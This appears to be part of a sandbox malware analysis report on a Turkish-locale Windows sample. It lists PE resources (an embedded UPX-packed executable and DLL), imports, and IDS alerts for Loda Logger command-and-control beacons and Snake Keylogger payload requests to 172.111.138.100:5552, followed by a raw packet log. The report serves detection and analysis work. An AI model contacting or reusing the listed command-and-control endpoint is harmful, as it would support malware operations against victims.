.rsrc	0xb0000	0x100b30	0x100c00	694ea87e8264448e1db3a3657c5b4e19	False	0.8911432342380721	data	7.79577397473991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.5145403377110694
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0xeee00	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed			0.9195641597985348
RT_RCDATA	0x1a7c14	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x1a7c18	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x1ab818	0x64c	data			0.5998759305210918
RT_RCDATA	0x1abe64	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x1abfb8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x1b078c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1b07a0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1b07b4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b07c8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b07dc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b07f0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b0804	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x1b0818	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x1b082c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49979	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	50039	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49850	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49923	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	50037	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:24:18.707018+0100	2822116	ETPRO MALWARE Loda Logger CnC Beacon	1	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:24:18.707018+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:24:23.689476+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49785	142.250.186.46	443	TCP
2024-12-30T11:24:23.690792+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49786	142.250.186.46	443	TCP
2024-12-30T11:24:24.009667+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.6	49796	69.42.215.252	80	TCP
2024-12-30T11:24:24.663897+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49802	142.250.186.46	443	TCP
2024-12-30T11:24:24.787303+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49803	142.250.186.46	443	TCP
2024-12-30T11:24:25.669103+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49813	142.250.186.46	443	TCP
2024-12-30T11:24:25.777972+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49816	142.250.186.46	443	TCP
2024-12-30T11:24:26.806878+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49824	142.250.186.46	443	TCP
2024-12-30T11:24:27.033307+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49825	142.250.186.46	443	TCP
2024-12-30T11:24:27.777887+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49850	172.111.138.100	5552	TCP
2024-12-30T11:24:27.783272+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49836	142.250.186.46	443	TCP
2024-12-30T11:24:28.393374+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49845	142.250.186.46	443	TCP
2024-12-30T11:24:28.911174+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49852	142.250.186.46	443	TCP
2024-12-30T11:24:29.360483+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49859	142.250.186.46	443	TCP
2024-12-30T11:24:29.965830+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49861	142.250.186.46	443	TCP
2024-12-30T11:24:35.945263+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49867	142.250.186.46	443	TCP
2024-12-30T11:24:36.793999+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49923	172.111.138.100	5552	TCP
2024-12-30T11:24:45.810968+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	49979	172.111.138.100	5552	TCP
2024-12-30T11:24:54.840629+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	50037	172.111.138.100	5552	TCP
2024-12-30T11:25:03.966257+0100	2822116	ETPRO MALWARE Loda Logger CnC Beacon	1	192.168.2.6	50039	172.111.138.100	5552	TCP
2024-12-30T11:25:03.966257+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.6	50039	172.111.138.100	5552	TCP
2024-12-30T11:25:18.107770+0100	2830912	ETPRO MALWARE Loda Logger CnC Beacon Response M2	1	172.111.138.100	5552	192.168.2.6	50039	TCP
2024-12-30T11:25:55.779991+0100	2830912	ETPRO MALWARE Loda Logger CnC Beacon Response M2	1	172.111.138.100	5552	192.168.2.6	50039	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:24:18.701673985 CET	49759	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:18.706655979 CET	5552	49759	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:18.706724882 CET	49759	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:18.707017899 CET	49759	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:18.711807966 CET	5552	49759	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:20.881155968 CET	5552	49759	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:20.881230116 CET	49759	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:20.936170101 CET	49759	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:20.941088915 CET	5552	49759	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:22.409807920 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.409864902 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:22.413989067 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.439408064 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.439450979 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:22.439832926 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.442162037 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.442183018 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:22.444499969 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:22.444516897 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.053668022 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.053824902 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.054460049 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.054516077 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.054766893 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.054845095 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.055567026 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.055617094 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.395977020 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.396007061 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.396048069 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.396063089 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.396322966 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.396497011 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.396553993 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.396760941 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.402700901 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.402875900 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.410904884 CET	49796	80	192.168.2.6	69.42.215.252
Dec 30, 2024 11:24:23.416737080 CET	80	49796	69.42.215.252	192.168.2.6
Dec 30, 2024 11:24:23.417004108 CET	49796	80	192.168.2.6	69.42.215.252
Dec 30, 2024 11:24:23.417119026 CET	49796	80	192.168.2.6	69.42.215.252
Dec 30, 2024 11:24:23.422888994 CET	80	49796	69.42.215.252	192.168.2.6
Dec 30, 2024 11:24:23.443331957 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.447335958 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.689492941 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.689557076 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.689579964 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.689623117 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.690146923 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.690191984 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.690196037 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.690239906 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.690327883 CET	49785	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.690340996 CET	443	49785	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.690836906 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.690886974 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691685915 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.691701889 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691736937 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691756964 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.691781998 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.691813946 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691836119 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691853046 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691864967 CET	443	49786	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.691873074 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.691906929 CET	49786	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.692728996 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.692771912 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.692828894 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.696232080 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.696244955 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.699126005 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:23.699136972 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:23.703182936 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703213930 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:23.703280926 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703481913 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703519106 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:23.703692913 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703696966 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703706026 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:23.703869104 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:23.703890085 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.009567022 CET	80	49796	69.42.215.252	192.168.2.6
Dec 30, 2024 11:24:24.009666920 CET	49796	80	192.168.2.6	69.42.215.252
Dec 30, 2024 11:24:24.295694113 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.295759916 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.296108007 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.296114922 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.298367977 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.298372984 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.306751013 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.306834936 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.310446024 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.310453892 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.310704947 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.310772896 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.311176062 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.331804037 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.331974030 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.336409092 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.336417913 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.336745024 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.336818933 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.337297916 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.351336002 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.379338026 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.411555052 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.411782980 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.412102938 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.412108898 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.414156914 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.414160967 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.663902998 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.663985968 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.664007902 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.664118052 CET	49802	443	192.168.2.6	142.250.186.46
